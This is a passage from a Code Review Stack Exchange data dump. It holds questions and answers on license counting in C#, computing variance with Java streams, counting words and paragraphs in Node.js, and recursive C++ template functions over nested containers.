href=\"https://study.com/academy/lesson/finding-the-sum-of-consecutive-numbers.html\" rel=\"nofollow noreferrer\">calculating the sum of a series of consecutive numbers</a>.<br />\nInstinctively, you'd be inclined to approach this using an iteration (<code>for(int i = start; i &lt;= end; i++) { result += i; })</code>, but it's much faster to realize that you can get the answer using a single calculation (<code>result = ((end-start)/2)*(start+end)</code>, no matter the size of the collection.</p>\n<p>Finding that formula means that your calculation is not impacted by the amount of machines any given user has, as the formula remains the same operation (just with bigger numbers).</p>\n<p>Secondly, I also find there's too much if-branching here. You're hardcoding every possible permutation, as opposed to looking for the more elegant algorithm that covers your use case. While this is a simple example and easy to hand-write, this is going to bite you in real-life projects which are considerably less bite-sized about their logic and complexity.</p>\n<p>What it all boils down to is that you can decide the number of licenses (for a given user) based solely on the <strong>count</strong> of desktops and laptops that the user owns. Let's use two examples to help intuitively find the formula.</p>\n<pre><code>6 desktops, 2 laptops\n</code></pre>\n<p>The answer is 6 licenses. One for each desktop, as these can never share a license. The laptops can be ignored, as they are the <a href=\"https://www.merriam-webster.com/dictionary/plus-one\" rel=\"nofollow noreferrer\">plus one</a> for a desktop. Therefore, the laptops don't require an additional license.</p>\n<p>We've uncovered one immovable fact: you always need at least as many licenses as you have desktops.</p>\n<p>But what if there's more laptops than you can hide as plus ones for the desktops? In other words, what if there's more laptops than desktops?</p>\n<pre><code>2 desktops, 7 laptops\n</code></pre>\n<p>Well, we can still apply the desktop rule. 2 desktops can each have a plus one, so 2 laptops are already handled. Our calculation isn't done yet, but we already can solve part of it</p>\n<pre><code>2 desktops, 7 laptops\n=&gt; 2 licenses + 5 laptops remaining (using the &quot;desktop plus one&quot; rule)\n</code></pre>\n<p>For the remaining laptops, you can simply pair them off with each other. This is no more than <code>remainingLaptops / 2</code>, except that you do have to round up.</p>\n<p>How do you get the remaining laptops? Well, it's the initial amount minus the plus ones that already were assigned with the desktops. Therefore, <code>remainingLaptops = initialLaptops - initialDesktops</code>.</p>\n<pre><code>2 desktops, 7 laptops\n=&gt; 2 licenses + 5 laptops remaining (using the &quot;desktop plus one&quot; rule)\n=&gt; 2 licenses + 3 licenses (using the &quot;laptop pairing&quot; rule)\n</code></pre>\n<p>This solves the entire thing. We can now write out the logic:</p>\n<pre><code>public int CountRequiredLicenses(int desktopCount, int laptopCount)\n{\n int licenseCount = 0;\n\n // Desktop plus one rule\n\n licenseCount += desktopCount;\n\n // Laptop pairing rule\n\n int remainingLaptops = laptopCount - desktopCount;\n\n // Only if there are remaining (non-plus-one) laptops\n if(remainingLaptops &gt; 0)\n {\n int laptopPairsCount = Math.Ceiling((double)remainingLaptops/2);\n licenseCount += laptopPairsCount;\n }\n\n return licenseCount;\n}\n</code></pre>\n<p>As to how you need to implement this <code>CountRequiredLicenses</code> method in the code you already have, you can keep most of your data aggregation logic, with the one exception that you need to count the amount of desktops/laptops in each user's group.</p>\n<p>The grand total equals the sum of the <code>CountRequiredLicenses</code> value for each user.</p>\n<hr />\n<h2>Performance</h2>\n<p>As to the performance issue, <strong>if it matters</strong> to your teacher, they are partly to blame for this issue. Asking for sorting and grouping of a massive CSV file is no simple task, and it's leveraging the wrong technology if performance is key. A database server is <strong>much</strong> better outfitted for these kinds of large data operations.</p>\n<p>If performance doesn't matter to your teacher, then you shouldn't be trying to break your back over this.</p>\n<p>Assuming we can reduce computer equality to a simple match on computerID (as discussed in a bullet point in the next section of this answer), then you can improve performance by processing each row individually as opposed to trying to perform complex data operations on the entire set (group by etc).</p>\n<p>Instead, since we're only really interested in the count of desktops/laptops in a user's name anyway, we can simply process the rows one at a time, and tally up the records. First, we define the record we want to keep (per user):</p>\n<pre><code>public class UserMachineCount\n{\n public int UserId { get; }\n public int DesktopCount { get; set; }\n public int LaptopCount { get; set; }\n\n public UserMachineCount(int userId)\n {\n this.UserId = userId;\n this.DesktopCount = 0;\n this.LaptopCount = 0;\n }\n}\n</code></pre>\n<p>Then we track these records in a collection. I picked a dictionary because of the lookup performance.</p>\n<pre><code>// int = userId\nprivate Dictionary&lt;int, UserMachineCount&gt; userMachineCounts = new ...; \n</code></pre>\n<p>We'll also track the computer IDs we've already processed. I picked a hash set due to good lookup performance.</p>\n<pre><code>private HashSet&lt;int&gt; processedComputerIds = new ...;\n</code></pre>\n<p>Then we write a method which parses a given line, looks up the existing record, creates one if it doesn't exist, and increases the tally accordingly.</p>\n<pre><code>private void ParseLine(string[] row)\n{\n int computerId = Convert.ToInt32(row[0]);\n int userId = Convert.ToInt32(row[1]);\n int applicationId = Convert.ToInt32(row[2]);\n string computerType = row[3];\n\n // Skip unrelated application IDs\n if(applicationId != 374)\n return;\n\n // Skip already processed computer Ids\n if(processedComputerIds.Contains(computerId))\n return;\n\n processedComputerIds.Add(computerId);\n\n // Check for existing record\n UserMachineCount userRecord;\n if(!userMachineCounts.TryGetValue(userId, out userRecord))\n {\n // If it doesn't exist, create it\n userRecord = new UserMachineRecord(userId);\n userMachineCounts.Add(userId, userRecord);\n }\n\n // Increment the correct tally\n switch(computerType.ToUpper())\n {\n case &quot;DESKTOP&quot;:\n userRecord.DesktopCount++;\n break;\n case &quot;Laptop&quot;:\n userRecord.LaptopCount++;\n break;\n default:\n // Maybe throw an exception? Or do nothing?\n }\n}\n</code></pre>\n<p>This means that you can reduce your computational complexity and memory footprint significantly, as you now only need to process your input file one row at a time, and you only store the information that you will actually use.</p>\n<hr />\n<h2>Tying it all together</h2>\n<p>From here, calculating the grand sum of licenses is actually really easy:</p>\n<pre><code>int totalLicenses = userMachineCounts.Values.Sum(userRecord=&gt; CountRequiredLicenses(userRecord.DesktopCount, userRecord.LaptopCount));\n</code></pre>\n<p>In human readable terms, we calculate the <code>CountRequiredLicenses</code> output for each record, and sum them together.</p>\n<hr />\n<h2>Smaller review points</h2>\n<ul>\n<li>Parsing a CSV is a problem that has been solved many times over, and it has more edge cases than you've accounted for. Unless your teacher told you to not bother, it's generally better to use an existing CSV parsing library so you don't have to reinvent the wheel.</li>\n<li>I already implicitly touched on this in the previous explanation, but you forgot to account for situations where a given user owns more than one desktop or more than two laptops. You're using contains logic, and you're not accounting for <em>how many</em> of a given type there are.</li>\n<li>Good use of the <code>IEqualityComparer</code>, but arguably overkill here. You're only going to use it once, so it's not very ripe for making reusable. Good exercise though.</li>\n<li>This is not your fault, but the premise makes it ambiguous what to do if two duplicate records (same computerID) exist but contradict one another (different user id, application id or computer type). This raises a potential red flag in your equality logic.\n<ul>\n<li>I would argue that computer equality should be done <strong>solely</strong> on computerID, and any conflict between the other columns should either raise an exception or have some implemented fallback logic to handle these kinds of contradictions.</li>\n</ul>\n</li>\n<li>You've hardcoded your logic for application ID <code>374</code>. It's not hard to parametrize this, and it would make a lot of sense to be able to <em>choose</em> the application for which to count the licenses.</li>\n<li><code>ContainsComputerType</code> is reinventing what LINQ's <code>Any()</code> can already do for you. It's not a bad implementation but it's rather unnecessary to make it from scratch.</li>\n</ul>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-09-09T14:19:27.573", "Id": "267828", "ParentId": "253366", "Score": "1" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T20:30:09.033", "Id": "253366", "Score": "4", "Tags": [ "c#", "performance", "programming-challenge", ".net", "memory-optimization" ], "Title": "Minimum number of copies of an application a company needs to purchase" }
253366
<p>So I'm supposed to calculate variance based on this forumula through functional programming:</p> <p><span class="math-container">$$\sigma^2 = \frac{\sum\limits_{i=0}^{n-1} (X -\mu)^2}{n-1}$$</span></p> <p>This is the code that works:</p> <pre><code>public static double variance1(int[] array) { double mean=mean(array); double summation=DoubleStream.iterate(0,idx-&gt;idx+1) .limit(array.length) .reduce(0,(summation_counter,idx)-&gt; { return Math.pow(array[(int)idx]-mean, 2)+summation_counter; }); return summation/(array.length-1); } </code></pre> <p>Although the code works, it's ugly with the typecasts and seems forced.</p> <p>Initially, I thought of doing something like</p> <pre><code>double summation=IntStream.rangeClosed(0,array.length-1) .reduce(0, (summation_counter,idx)-&gt; .... </code></pre> <p>but I couldn't use an <code>IntStream</code> as the body of the <code>reduce</code> method returns double.</p>
[]
[ { "body": "<p>In my opinion, there's no other way to return a double with the <code>reduce</code> and have an int value as the index without casting; it's either integer or double.</p>\n<p>For the rest of the code, here is some advice.</p>\n<h3>Add checks for empty / null on the array.</h3>\n<p>In my opinion, it's always a good thing to verify the validity of the <code>array</code> parameter before handling it (not null, and have at least one element in this case).</p>\n<h3>Use the multiplication operator instead of <code>Math.Pow</code></h3>\n<p>The <code>Math.Pow</code> tend to be slower in some case when compared with the multiplication operator.\nIn my opinion, it's best to use the multiplication operator when the <code>exponent &lt; 5</code>.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T00:17:16.310", "Id": "499794", "Score": "0", "body": "Do you think using `Optional<Double>` or `null` checking on the array is better?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T00:49:31.293", "Id": "499798", "Score": "0", "body": "To clarify, I was talking of adding a condition that check if the `array` parameter is valid (not null & size > 0); this condition should be before the call of the method `mean`.\n\nThis condition will prevent invalid parameters of reaching your code." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T13:15:24.797", "Id": "253420", "ParentId": "253369", "Score": "1" } }, { "body": "<p>First off, watch your formating. Java standard is to have spaces around operators, and a space after commas. In the <code>reduce</code> lambda you can leave out the <code>return</code> and the braces, just like you did't for <code>iterate</code>.</p>\n<p>It's a bit ugly to use a <code>DoubleStream</code> for the array indices, and number streams provide a <code>sum()</code> method, so using reduce is unnecessary.</p>\n<p>An array can easily streamed using <code>Arrays.stream()</code>, which produces an <code>IntStream</code> and with <code>mapToDouble</code> a <code>DoubleStream</code> can be created:</p>\n<pre><code>double summation = Arrays.stream(array)\n .mapToDouble(x -&gt; (x - mean) * (x - mean))\n .sum();\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T14:34:41.490", "Id": "253461", "ParentId": "253369", "Score": "3" } } ]
{ "AcceptedAnswerId": "253461", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T22:50:30.633", "Id": "253369", "Score": "3", "Tags": [ "java", "functional-programming" ], "Title": "Compute variance via functional programming" }
253369
<p>I just finished a challenge (noted above) and I was wondering how good is this approach or is there some simpler solution that I am not aware of?</p> <p>If you have a different solution, try to explain the code for people less experienced than myself rather just than pasting a solution.</p> <p>Here is an example text file to be read from:</p> <pre><code>This file has eight words in this sentence. There are two sentences. In this paragraph. And two paragraphs in total. Lorem ispsum. Lorem ispsum. Lorem ispsum. Lorem ispsum. </code></pre> <pre class="lang-js prettyprint-override"><code>/** * Write a simple script to read text from a file and compute (approximately) the number of sentences, number of unique words and punctuation/symbols. * Run the code with node ./problem-2.js test.txt */ // Use Node's builtin api to read a file const fs = require('fs'); //#1 count the number of words const wordCount = (string) =&gt; string.split(&quot; &quot;).length; //#2 count the number of unique words const uniqueWords = txt =&gt; new Set(txt.toLowerCase().match(/\w+/g)).size; //#3 count the number of paragraphs const paragraphCount = (paragraphString) =&gt;{ //seperate each sentence into a seperate string paragraphString = paragraphString.split(&quot;\n\n&quot;); // console.table(paragraphString) // show as a table for better visual let paragraphArray = paragraphString.length; // length of paragraph array let paragraphCount = 0; let strip_whitespace = /\s+/gi; while (paragraphArray &gt;=0) { paragraphArray--; let tmp = paragraphString[paragraphArray]; tmp = tmp ? tmp .replace(strip_whitespace,&quot;&quot;) : tmp; if( tmp &amp;&amp; tmp.length &gt; 1 ) paragraphCount++; } return paragraphCount; } function countPunctuations(punctuationsStrings) { let punctuationsCount = 0; const punctuations = [&quot;.&quot;, &quot;,&quot;, &quot;!&quot;, &quot;?&quot;]; // const symbols = [&quot;~&quot;,&quot;`&quot;,&quot;!&quot;,&quot;@&quot;,&quot;#&quot;,&quot;$&quot;,&quot;%&quot;,&quot;^&quot;,&quot;&amp;&quot;,&quot;*&quot;,&quot;(&quot;,&quot;)&quot;,&quot;_&quot;,&quot;+&quot;,&quot;-&quot;,&quot;=&quot;,&quot;{&quot;,&quot;}&quot;,&quot;|&quot;,&quot;[&quot;,&quot;]&quot;,&quot;\&quot;,&quot;:&quot;,&quot;;&quot;,&quot;'&quot;,&quot;&lt;&quot;,&quot;&gt;&quot;,&quot;?&quot;,&quot;/&quot;,] for (const ch of punctuationsStrings) { if (punctuations.includes(ch)) punctuationsCount++; } return punctuationsCount; } fs.readFile(&quot;test-2.txt&quot;, 'utf8', function(err, data) { if (err) throw err; console.log(&quot;The text in the file:\n\n&quot;, data,&quot;\n&quot;) // store results in an object to present the log better let result={ &quot;word count&quot;: wordCount(data), &quot;unique words&quot;: uniqueWords(data), &quot;paragraph count&quot;: paragraphCount(data), &quot;punctuation count&quot;: countPunctuations(data), } console.table(result) }); <span class="math-container">```</span> </code></pre>
[]
[ { "body": "<p><strong>Word count bug</strong> This line here:</p>\n<pre><code>const wordCount = (string) =&gt; string.split(&quot; &quot;).length;\n</code></pre>\n<p>will overcount the number of words if the input text happens to have multiple spaces in a row. For example:</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const wordCount = (string) =&gt; string.split(\" \").length;\n\nconsole.log(wordCount(`\n foo bar baz\n`));</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p>I'd use <code>.match</code> instead, and match contiguous non-space characters. (Can't use <code>\\w+</code>, since that'd result in <code>they're</code> and similar being counted as 2 words, and since <code>\\w</code> only works with English letters - matching non-spaces is easier than figuring out all the possibilities, and will work for any romance language)</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const wordCount = (string) =&gt; (string.match(/\\S+/g) || []).length;\n\nconsole.log(wordCount(`\n foo bar baz\n`));</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p>The <code>.match(..) || []</code> is needed because <code>.match</code> will return <code>null</code> (and <em>not</em> the empty array) if no matches are found.</p>\n<p><strong>uniqueWords bug</strong> As noted above, <code>\\w+</code> won't be accurate given apostrophes and other punctuation marks that may be around or inside single words. (You also need to alternate the <code>.match</code> with <code>[]</code> as described above too)</p>\n<p><strong>paragraphCount issues</strong></p>\n<p>You have:</p>\n<pre><code>paragraphString = paragraphString.split(&quot;\\n\\n&quot;);\n</code></pre>\n<p>There are a few problems here:</p>\n<ul>\n<li>The <code>paragraphString</code> is initially not the string of a paragraph, but a string containing the <em>entire input text</em> - better to call it something like <code>inputText</code>.</li>\n<li>Then, the <code>paragraphString</code> becomes an <em>array</em> - but its name is <code>paragraphString</code>? Easy source of confusion.</li>\n<li>You're unnecesarily reassigning the <code>paragraphString</code> variable - it may refer to one thing, or it may refer to another, depending on what point in the program you're examining it. Code is generally easiest to reason about when the contents of a given variable name doesn't change. Occasionally it's necessary (like with a counter), but often it isn't - better to put a new expression into a <em>different</em> variable rather than reassigning the old one, if possible.</li>\n</ul>\n<p>Similarly:</p>\n<pre><code>let paragraphArray = paragraphString.length; // length of paragraph array\n</code></pre>\n<p>But the <code>.length</code> is a <em>number</em>, not an array. Giving variables understandable, precise variable names makes code easier to read and helps prevent bugs. I'd either call it <code>paragraphIndex</code> - or, even better, avoid manually iterating over the array entirely and use an array method instead, eg:</p>\n<pre><code>paragraphArray.forEach((paragraphString) =&gt; {\n // check paragraphString\n</code></pre>\n<p>Empty strings can have <code>.replace</code> called on them just fine, and it makes the code easier to read, so you can simplify the assignment of <code>tmp</code> to:</p>\n<pre><code>const paragraphString = paragraphStrings[paragraphIndex].replace(strip_whitespace,&quot;&quot;);\n</code></pre>\n<p>Or you could simplify the whole function here by filtering the array of paragraphs by those with a trimmed length:</p>\n<pre><code>const paragraphCount = inputText =&gt; inputText\n .split('\\n\\n')\n .filter(paragraphText =&gt; paragraphText.trim())\n .length;\n</code></pre>\n<p>You could also use <code>.reduce</code> to count up, instead of constructing an intermediate array that gets used only for its length, but the intent of this <code>.reduce</code> is probably a bit harder to recognize at a glance for some:</p>\n<pre><code>const paragraphCount = inputText =&gt; inputText\n .split('\\n\\n')\n .reduce((a, paragraphText) =&gt; a + paragraphText.trim() ? 1 : 0, 0)\n</code></pre>\n<p><code>\\n\\n</code> might not be good enough, though - can you count on the file encoding using <code>\\n</code>s <em>only</em> for newlines? Some files/OSs use <code>\\r\\n</code>. I'd use <code>/\\n\\r?\\n/</code> instead.</p>\n<p><strong>Punctuation count idea</strong> Rather than:</p>\n<pre><code>const punctuations = [&quot;.&quot;, &quot;,&quot;, &quot;!&quot;, &quot;?&quot;];\n// const symbols = [&quot;~&quot;,&quot;`&quot;,&quot;!&quot;,&quot;@&quot;,&quot;#&quot;,&quot;$&quot;,&quot;%&quot;,&quot;^&quot;,&quot;&amp;&quot;,&quot;*&quot;,&quot;(&quot;,&quot;)&quot;,&quot;_&quot;,&quot;+&quot;,&quot;-&quot;,&quot;=&quot;,&quot;{&quot;,&quot;}&quot;,&quot;|&quot;,&quot;[&quot;,&quot;]&quot;,&quot;\\&quot;,&quot;:&quot;,&quot;;&quot;,&quot;'&quot;,&quot;&lt;&quot;,&quot;&gt;&quot;,&quot;?&quot;,&quot;/&quot;,]\n</code></pre>\n<p>With a lot of punctuation, the above can be both hard to read and easy to make typos on. If you have more than a few, consider using a string that gets parsed into an array later:</p>\n<pre><code>const symbols = `\\`~!@#$%^`.split(''); // and so on\n</code></pre>\n<p>You could even make it multiline or put it in a separate file if you wanted, then parse it as needed.</p>\n<p>To reduce the computational complexity of the algorithm, make a Set of the punctuations in advance; <code>Set.has</code> is <code>O(1)</code>, but <code>Array.includes</code> is <code>O(n)</code>. With large files, this could make a big difference, especially if you wree using the large <code>symbols</code> array instead of the smaller <code>punctuations</code> array.</p>\n<p>Constructing a regular expression that alternates between all punctuation characters might be even faster.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T15:57:49.213", "Id": "253387", "ParentId": "253371", "Score": "3" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T23:51:13.847", "Id": "253371", "Score": "2", "Tags": [ "javascript" ], "Title": "How to write a simple script to read text from a file and compute the number of sentences, number of unique words and punctuation/symbols? (NodeJS)" }
253371
<p>This is a follow-up question for <a href="https://codereview.stackexchange.com/q/253272/231235">A recursive_transform_reduce Function for Various Type Arbitrary Nested Iterable Implementation in C++</a>, <a href="https://codereview.stackexchange.com/q/251983/231235">A recursive_count Function For Various Type Arbitrary Nested Iterable Implementation in C++</a>, <a href="https://codereview.stackexchange.com/q/252053/231235">A recursive_count_if Function For Various Type Arbitrary Nested Iterable Implementation in C++</a>, <a href="https://codereview.stackexchange.com/q/251295/231235">A Summation Function For Boost.MultiArray in C++</a>, <a href="https://codereview.stackexchange.com/q/252732/231235">An arithmetic_mean Function For Various Type Arbitrary Nested Iterable Implementation in C++</a>, <a href="https://codereview.stackexchange.com/q/251823/231235">A recursive_transform Template Function with Execution Policy</a> and <a href="https://codereview.stackexchange.com/q/253131/231235">A population_variance Function For Various Type Arbitrary Nested Iterable Implementation in C++</a>. Thanks to <a href="https://codereview.stackexchange.com/a/253280/231235">G. Sliepen's answer</a>. I am trying to perform the suggestion that <code>avoiding the requires clause if possible by using the concept name instead of class in the template parameter list</code>. As the result, the improved version of <code>recursive_count</code> function, <code>recursive_count_if</code> function, <code>recursive_size</code> function, <code>recursive_reduce</code> function, <code>arithmetic_mean</code> function, <code>recursive_transform</code> function, <code>recursive_transform_reduce</code> function and <code>population_variance</code> function are as below.</p> <pre><code>template&lt;typename T&gt; concept is_back_inserterable = requires(T x) { std::back_inserter(x); }; template&lt;typename T&gt; concept is_elements_iterable = requires(T x) { std::begin(x)-&gt;begin(); std::end(x)-&gt;end(); }; template&lt;typename T1, typename T2&gt; concept is_std_powable = requires(T1 x1, T2 x2) { std::pow(x1, x2); }; template&lt;typename T&gt; concept is_summable = requires(T x) { x + x; }; // recursive_count implementation template&lt;std::ranges::range T1, class T2&gt; requires (!is_elements_iterable&lt;T1&gt;) constexpr auto recursive_count(const T1&amp; input, const T2 target) { return std::count(input.begin(), input.end(), target); } // transform_reduce version template&lt;is_elements_iterable T1, class T2&gt; constexpr auto recursive_count(const T1&amp; input, const T2 target) { return std::transform_reduce(std::begin(input), std::end(input), std::size_t{}, std::plus&lt;std::size_t&gt;(), [target](auto&amp; element) { return recursive_count(element, target); }); } // recursive_count_if implementation template&lt;std::ranges::range T1, class T2&gt; requires (!is_elements_iterable&lt;T1&gt;) constexpr auto recursive_count_if(const T1&amp; input, const T2 predicate) { return std::count_if(input.begin(), input.end(), predicate); } // transform_reduce version template&lt;is_elements_iterable T1, class T2&gt; constexpr auto recursive_count_if(const T1&amp; input, const T2 predicate) { return std::transform_reduce(std::begin(input), std::end(input), std::size_t{}, std::plus&lt;std::size_t&gt;(), [predicate](auto&amp; element) { return recursive_count_if(element, predicate); }); } // recursive_size implementation template&lt;class T&gt; requires (!std::ranges::range&lt;T&gt;) constexpr auto recursive_size(const T&amp; input) { return 1; } template&lt;std::ranges::range T&gt; requires (!is_elements_iterable&lt;T&gt;) constexpr auto recursive_size(const T&amp; input) { return input.size(); } template&lt;is_elements_iterable T&gt; constexpr auto recursive_size(const T&amp; input) { return std::transform_reduce(std::begin(input), std::end(input), std::size_t{}, std::plus&lt;std::size_t&gt;(), [](auto&amp; element) { return recursive_size(element); }); } // recursive_reduce implementation template&lt;class T, class ValueType, class Function = std::plus&lt;ValueType&gt;&gt; constexpr auto recursive_reduce(const T&amp; input, ValueType init, const Function&amp; f) { return f(init, input); } template&lt;std::ranges::range Container, class ValueType, class Function = std::plus&lt;ValueType&gt;&gt; constexpr auto recursive_reduce(const Container&amp; input, ValueType init, const Function&amp; f = std::plus&lt;ValueType&gt;()) { for (const auto&amp; element : input) { auto result = recursive_reduce(element, ValueType{}, f); init = f(init, result); } return init; } template&lt;typename T&gt; concept is_recursive_reduceable = requires(T x) { recursive_reduce(x, T{}); }; template&lt;typename T&gt; concept is_recursive_sizeable = requires(T x) { recursive_size(x); }; // arithmetic_mean implementation template&lt;class T = double, is_recursive_sizeable Container&gt; constexpr auto arithmetic_mean(const Container&amp; input) { if (recursive_size(input) == 0) // Check the case of dividing by zero exception { throw std::logic_error(&quot;Divide by zero exception&quot;); // Handle the case of dividing by zero exception } return (recursive_reduce(input, T{})) / (recursive_size(input)); } // recursive_transform implementation template&lt;class T, class F&gt; constexpr auto recursive_transform(const T&amp; input, const F&amp; f) { return f(input); } template&lt;class T, std::size_t S, class F&gt; constexpr auto recursive_transform(const std::array&lt;T, S&gt;&amp; input, const F&amp; f) { using TransformedValueType = decltype(recursive_transform(*input.cbegin(), f)); std::array&lt;TransformedValueType, S&gt; output; std::transform(input.cbegin(), input.cend(), output.begin(), [f](auto&amp; element) { return recursive_transform(element, f); } ); return output; } template&lt;template&lt;class...&gt; class Container, class Function, class... Ts&gt; requires (is_back_inserterable&lt;Container&lt;Ts...&gt;&gt; &amp;&amp; std::ranges::range&lt;Container&lt;Ts...&gt;&gt; &amp;&amp; !is_elements_iterable&lt;Container&lt;Ts...&gt;&gt;) // non-recursive version constexpr auto recursive_transform(const Container&lt;Ts...&gt;&amp; input, const Function&amp; f) { using TransformedValueType = decltype(f(*input.cbegin())); Container&lt;TransformedValueType&gt; output; std::transform(input.cbegin(), input.cend(), std::back_inserter(output), f); return output; } template&lt;template&lt;class...&gt; class Container, class Function, class... Ts&gt; requires (is_back_inserterable&lt;Container&lt;Ts...&gt;&gt; &amp;&amp; is_elements_iterable&lt;Container&lt;Ts...&gt;&gt;) constexpr auto recursive_transform(const Container&lt;Ts...&gt;&amp; input, const Function&amp; f) { using TransformedValueType = decltype(recursive_transform(*input.cbegin(), f)); Container&lt;TransformedValueType&gt; output; std::transform(input.cbegin(), input.cend(), std::back_inserter(output), [&amp;](auto&amp; element) { return recursive_transform(element, f); } ); return output; } #ifdef USE_BOOST_MULTIDIMENSIONAL_ARRAY template&lt;is_multi_array T, class F&gt; constexpr auto recursive_transform(const T&amp; input, const F&amp; f) { boost::multi_array output(input); for (decltype(+input.shape()[0]) i = 0; i &lt; input.shape()[0]; i++) { output[i] = recursive_transform(input[i], f); } return output; } #endif // With execution policy template&lt;class ExPo, class T, class F&gt; constexpr auto recursive_transform(ExPo execution_policy, const T&amp; input, const F&amp; f) { return f(input); } template&lt;class ExPo, class T, std::size_t S, class F&gt; requires std::is_execution_policy_v&lt;std::remove_cvref_t&lt;ExPo&gt;&gt; constexpr auto recursive_transform(ExPo execution_policy, const std::array&lt;T, S&gt;&amp; input, const F&amp; f) { using TransformedValueType = decltype(recursive_transform(*input.cbegin(), f)); std::array&lt;TransformedValueType, S&gt; output; std::transform(execution_policy, input.cbegin(), input.cend(), output.begin(), [execution_policy, f](auto&amp; element) { return recursive_transform(execution_policy, element, f); } ); return output; } template&lt;class ExPo, template&lt;class...&gt; class Container, class Function, class... Ts&gt; requires (std::is_execution_policy_v&lt;std::remove_cvref_t&lt;ExPo&gt;&gt; &amp;&amp; std::ranges::range&lt;Container&lt;Ts...&gt;&gt; &amp;&amp; !is_elements_iterable&lt;Container&lt;Ts...&gt;&gt;) // non-recursive version constexpr auto recursive_transform(ExPo execution_policy, const Container&lt;Ts...&gt;&amp; input, const Function&amp; f) { using TransformedValueType = decltype(f(*input.cbegin())); Container&lt;TransformedValueType&gt; output(input.size()); std::transform(execution_policy, input.cbegin(), input.cend(), output.begin(), f); return output; } template&lt;class ExPo, template&lt;class...&gt; class Container, class Function, class... Ts&gt; requires (std::is_execution_policy_v&lt;std::remove_cvref_t&lt;ExPo&gt;&gt; &amp;&amp; is_elements_iterable&lt;Container&lt;Ts...&gt;&gt;) constexpr auto recursive_transform(ExPo execution_policy, const Container&lt;Ts...&gt;&amp; input, const Function&amp; f) { using TransformedValueType = decltype(recursive_transform(*input.cbegin(), f)); Container&lt;TransformedValueType&gt; output(input.size()); std::transform(execution_policy, input.cbegin(), input.cend(), output.begin(), [&amp;](auto&amp; element) { return recursive_transform(execution_policy, element, f); } ); return output; } #ifdef USE_BOOST_MULTIDIMENSIONAL_ARRAY template&lt;class ExPo, is_multi_array T, class F&gt; requires (std::is_execution_policy_v&lt;std::remove_cvref_t&lt;ExPo&gt;&gt;) constexpr auto recursive_transform(ExPo execution_policy, const T&amp; input, const F&amp; f) { boost::multi_array output(input); for (decltype(+input.shape()[0]) i = 0; i &lt; input.shape()[0]; i++) { output[i] = recursive_transform(execution_policy, input[i], f); } return output; } #endif // recursive_transform_reduce implementation template&lt;class Input, class T, class UnaryOp, class BinaryOp = std::plus&lt;T&gt;&gt; constexpr auto recursive_transform_reduce(const Input&amp; input, T init, const UnaryOp&amp; unary_op, const BinaryOp&amp; binop = std::plus&lt;T&gt;()) { return binop(init, unary_op(input)); } template&lt;std::ranges::range Input, class T, class UnaryOp, class BinaryOp = std::plus&lt;T&gt;&gt; constexpr auto recursive_transform_reduce(const Input&amp; input, T init, const UnaryOp&amp; unary_op, const BinaryOp&amp; binop = std::plus&lt;T&gt;()) { return std::transform_reduce(std::begin(input), std::end(input), init, binop, [&amp;](auto&amp; element) { return recursive_transform_reduce(element, T{}, unary_op, binop); }); } template&lt;typename T&gt; concept can_calculate_variance_of = requires(const T &amp; value) { (std::pow(value, 2) - value) / std::size_t{ 1 }; }; template&lt;typename T&gt; struct recursive_iter_value_t_detail { using type = T; }; template &lt;std::ranges::range T&gt; struct recursive_iter_value_t_detail&lt;T&gt; : recursive_iter_value_t_detail&lt;std::iter_value_t&lt;T&gt;&gt; { }; template&lt;typename T&gt; using recursive_iter_value_t = typename recursive_iter_value_t_detail&lt;T&gt;::type; // population_variance function implementation (with recursive_transform_reduce template function) template&lt;class T = double, is_recursive_sizeable Container&gt; requires (can_calculate_variance_of&lt;recursive_iter_value_t&lt;Container&gt;&gt;) constexpr auto population_variance(const Container&amp; input) { if (recursive_size(input) == 0) // Check the case of dividing by zero exception { throw std::logic_error(&quot;Divide by zero exception&quot;); // Handle the case of dividing by zero exception } auto mean = arithmetic_mean&lt;T&gt;(input); return recursive_transform_reduce(std::execution::par, input, T{}, [mean](auto&amp; element) { return std::pow(element - mean, 2); }, std::plus&lt;T&gt;()) / recursive_size(input); } </code></pre> <p><a href="https://godbolt.org/z/6jnMoE" rel="nofollow noreferrer">A Godbolt link is here.</a></p> <p>All suggestions are welcome.</p> <p>The summary information:</p> <ul> <li><p>Which question it is a follow-up to?</p> <p><a href="https://codereview.stackexchange.com/q/253272/231235">A recursive_transform_reduce Function for Various Type Arbitrary Nested Iterable Implementation in C++</a>,</p> <p><a href="https://codereview.stackexchange.com/q/251983/231235">A recursive_count Function For Various Type Arbitrary Nested Iterable Implementation in C++</a>,</p> <p><a href="https://codereview.stackexchange.com/q/252053/231235">A recursive_count_if Function For Various Type Arbitrary Nested Iterable Implementation in C++</a>,</p> <p><a href="https://codereview.stackexchange.com/q/251295/231235">A Summation Function For Boost.MultiArray in C++</a>,</p> <p><a href="https://codereview.stackexchange.com/q/252732/231235">An arithmetic_mean Function For Various Type Arbitrary Nested Iterable Implementation in C++</a>,</p> <p><a href="https://codereview.stackexchange.com/q/251823/231235">A recursive_transform Template Function with Execution Policy</a> and</p> <p><a 